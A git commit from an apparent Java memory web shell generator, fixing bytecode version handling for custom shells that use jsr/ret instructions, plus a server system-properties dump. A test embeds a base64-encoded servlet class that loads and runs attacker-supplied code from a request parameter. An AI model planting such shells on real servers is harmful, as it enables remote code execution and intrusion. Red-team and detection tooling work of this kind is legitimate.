mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: custom shell with jsr/ret generate failed
This commit is contained in:
+5
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
return shellConfig.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
return classBytes;
|
return classBytes;
|
||||||
}
|
}
|
||||||
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
|||||||
+40
@@ -7,6 +7,10 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Label;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
@@ -17,6 +21,7 @@ import java.util.Base64;
|
|||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||||
|
private boolean containsSubroutines;
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
@@ -27,6 +32,7 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
ClassReader classReader = new ClassReader(classBytes);
|
||||||
|
containsSubroutines = containsSubroutines(classReader);
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
String className = classReader.getClassName().replace('/', '.');
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(className);
|
shellToolConfig.setShellClassName(className);
|
||||||
@@ -43,4 +49,38 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
|||||||
return new ByteBuddy()
|
return new ByteBuddy()
|
||||||
.redefine(typeDescription, compoundLocator);
|
.redefine(typeDescription, compoundLocator);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||||
|
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||||
|
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||||
|
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean containsSubroutines(ClassReader classReader) {
|
||||||
|
final boolean[] found = {false};
|
||||||
|
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
return new MethodVisitor(Opcodes.ASM9) {
|
||||||
|
@Override
|
||||||
|
public void visitJumpInsn(int opcode, Label label) {
|
||||||
|
if (opcode == Opcodes.JSR) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitVarInsn(int opcode, int var) {
|
||||||
|
if (opcode == Opcodes.RET) {
|
||||||
|
found[0] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||||
|
return found[0];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testJakartaServlet(){
|
void testJakartaServlet() {
|
||||||
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
||||||
String className = CommonUtil.generateClassName();
|
String className = CommonUtil.generateClassName();
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
|||||||
@@ -0,0 +1,817 @@
|
|||||||
|
# Generated At 2026-08-25 10:42:41
|
||||||
|
SystemProps:
|
||||||
|
java.specification.version: 17
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
|
bes.useNaming: true
|
||||||
|
sun.jnu.encoding: UTF-8
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.commons.commons-collections4,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
|
com.bes.resource.ejb.leakDetect: false
|
||||||
|
bes.loader: bes-system
|
||||||
|
sun.arch.data.model: 64
|
||||||
|
java.vendor.url: https://adoptium.net/
|
||||||
|
sun.boot.library.path: /opt/java/openjdk/lib
|
||||||
|
com.bes.hostName: 10a3b603cce2
|
||||||
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||||
|
jdk.debug: release
|
||||||
|
java.specification.vendor: Oracle Corporation
|
||||||
|
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||||
|
java.version.date: 2026-07-21
|
||||||
|
java.home: /opt/java/openjdk
|
||||||
|
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||||
|
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||||
|
file.separator: /
|
||||||
|
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||||
|
java.vm.compressedOopsMode: 32-bit
|
||||||
|
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||||
|
line.separator:
|
||||||
|
|
||||||
|
java.vm.specification.vendor: Oracle Corporation
|
||||||
|
java.specification.name: Java Platform API Specification
|
||||||
|
com.bes.instanceRoot: /opt/bes
|
||||||
|
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||||
|
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||||
|
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||||
|
java.runtime.version: 17.0.20+8
|
||||||
|
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||||
|
user.name: root
|
||||||
|
java.security.policy: /opt/bes/conf/security/server.policy
|
||||||
|
com.bes.javaRoot: /opt/java/openjdk
|
||||||
|
file.encoding: UTF-8
|
||||||
|
java.vendor.version: Temurin-17.0.20+8
|
||||||
|
derby.system.home: /opt/bes
|
||||||
|
java.io.tmpdir: /tmp
|
||||||
|
java.version: 17.0.20
|
||||||
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
|
native.encoding: UTF-8
|
||||||
|
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
|
||||||
|
java.vendor: Eclipse Adoptium
|
||||||
|
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||||
|
java.specification.maintenance.version: 1
|
||||||
|
java.rmi.server.randomIDs: true
|
||||||
|
sun.io.unicode.encoding: UnicodeLittle
|
||||||
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
|
bcs.loader: "${bes.home}/lib/bcs/*.jar"
|
||||||
|
bes.home: /opt/bes
|
||||||
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
|
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||||
|
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.14.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.2.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_5.0.3.jar
|
||||||
|
java.vm.vendor: Eclipse Adoptium
|
||||||
|
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||||
|
bes.base: /opt/bes
|
||||||
|
user.timezone: Etc/UTC
|
||||||
|
com.bes.instanceName: server
|
||||||
|
java.vm.specification.version: 17
|
||||||
|
os.name: Linux
|
||||||
|
sun.java.launcher: SUN_STANDARD
|
||||||
|
user.country: US
|
||||||
|
sun.cpu.endian: little
|
||||||
|
com.bes.enterprise.deployments.classpath: false
|
||||||
|
user.home: /root
|
||||||
|
user.language: en
|
||||||
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
|
com.bes.verboseMode: true
|
||||||
|
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||||
|
java.awt.headless: true
|
||||||
|
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||||
|
server.loader:
|
||||||
|
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||||
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
|
java.net.preferIPv4Stack: true
|
||||||
|
path.separator: :
|
||||||
|
java.security.egd: file:/dev/./urandom
|
||||||
|
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
|
||||||
|
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
|
||||||
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
|
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||||
|
com.bes.resource.leakDetect: false
|
||||||
|
bes.version: 10.0
|
||||||
|
java.vm.name: OpenJDK 64-Bit Server VM
|
||||||
|
org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true
|
||||||
|
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||||
|
com.bes.installRoot: /opt/bes
|
||||||
|
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
|
||||||
|
user.dir: /opt/bes
|
||||||
|
bval.in-container: true
|
||||||
|
os.arch: aarch64
|
||||||
|
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
|
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
||||||
|
java.vm.info: mixed mode, sharing
|
||||||
|
java.vm.version: 17.0.20+8
|
||||||
|
